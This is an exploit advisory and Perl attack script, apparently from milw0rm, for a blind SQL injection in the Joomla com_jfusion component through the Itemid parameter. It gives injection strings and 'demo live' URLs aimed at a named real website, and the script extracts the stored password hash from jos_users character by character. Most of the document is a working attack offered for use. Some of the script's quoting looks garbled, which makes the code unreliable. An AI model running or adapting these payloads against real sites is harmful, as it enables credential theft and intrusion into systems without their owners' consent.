Joomla Component com_jfusion (Itemid) Blind SQL Injection Vuln++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_jfusion (Itemid) Blind SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Vulnerability :  Blind SQL injection 

###################################################


Example:
http://localHost/path/index.php?option=com_jfusion&Itemid=n[Sql Code]
n:valid Itemid

Sql code:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1/*
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1/*

etc, etc...

DEMO LIVE:
http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1


http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=97
!False ¡¡¡¡

http://www.cd7.com.ec/index.php?option=com_jfusion&Itemid=66+and+ascii(substring((SELECT+concat(password,0x3a,username)+from+jos_users+limit+0,1),1,1))=98
¡True ¡¡¡¡

etc, etc....

I let a script that could save this job::example use
Note:
Itemid:	valid for the Web
coincidencia : 	seen in 1 = 1 and not 1 !=



http://wwww.host.org/Path   : http://www.cd7.com.ec/
[-] Introduce Itemid        : 66
[-] Introduce coincidencia  : http://www.cd7.com.ec/forum/

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++


#!/usr/bin/perl -w
use LWP::UserAgent;
use Benchmark;
my $t1 = new Benchmark;


print `\t\t-------------------------------------------------------------\n\n`;
print `\t\t                      |  Chip d3 Bi0s |                       \n\n`;
print `\t\t Joomla Component com_jfusion (Itemid) Blind SQL-injection        \n\n`;
print `\t\t-------------------------------------------------------------\n\n`;


print `http://wwww.host.org/Path   : `;chomp(my $target=<STDIN>);
print ` [-] Introduce Itemid       : `;chomp($z=<STDIN>);
print ` [-] Introduce coincidencia : `;chomp($w=<STDIN>);


$column_name=`concat(password)`;
$table_name=`jos_users`;


$b = LWP::UserAgent->new() or die `Could not initialize browser\n`;
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

print `----------------Inyectando----------------\n`;

#es Vulnerable?
  $host = $target . `/index.php?option=com_jfusion&amp;Itemid=`.$z.`+and+1=1`;
  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;
  if ($content =~ /$regexp/) {

$host = $target . `/index.php?option=com_jfusion&amp;Itemid=`.$z.`+and+1=2`;
  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;
  if ($content =~ /$regexp/) {print ` [-] Exploit Fallo :(\n`;}

else

{print ` [-] Vulnerable :)\n`;

for ($x=1;$x<=32;$x++) 
	{

  $host = $target . `/index.php?option=com_jfusion&amp;Itemid=`.$z.`+and+ascii(substring((SELECT+`.$column_name.`+from+`.$table_name.`+limit+0,1),`.$x.`,1))>57`;
  my $res = $b->request(HTTP::Request->new(GET=>$host));  my $content = $res->content;  my $regexp = $w;
  print ` [!] `;if($x <= 9 ) {print `0$x`;}else{print $x;}#para alininear 0..9 con los 10-32

  if ($content =~ /$regexp/)
  {
  
          for ($c=97;$c<=102;$c++) 

{
 $host = $target . `/index.php?option=com_jfusion&amp;Itemid=`.$z.`+and+ascii(substring((SELECT+`.$column_name.`+from+`.$table_name.`+limit+0,1),`.$x.`,1))=`.$c.` `;
 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $w;


 if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print `-Caracter: $char\n`; $c=102;}
 }


  }
else
{

for ($c=48;$c<=57;$c++) 

{
 $host = $target . `/index.php?option=com_jfusion&amp;Itemid=`.$z.`+and+ascii(substring((SELECT+`.$column_name.`+from+`.$table_name.`+limit+0,1),`.$x.`,1))=`.$c.` `;
 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $w;

 if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print `-Caracter: $char\n`; $c=57;}
 }


}

	}
print ` [+] Password   :`.` `.join('', @caracter) . `\n`;
my $t2 = new Benchmark;
my $tt = timediff($t2, $t1);
print `El script tomo:`,timestr($tt),`\n`;

}
}

else

{print ` [-] Exploit Fallo :(\n`;}

# milw0rm.com [2009-08-01]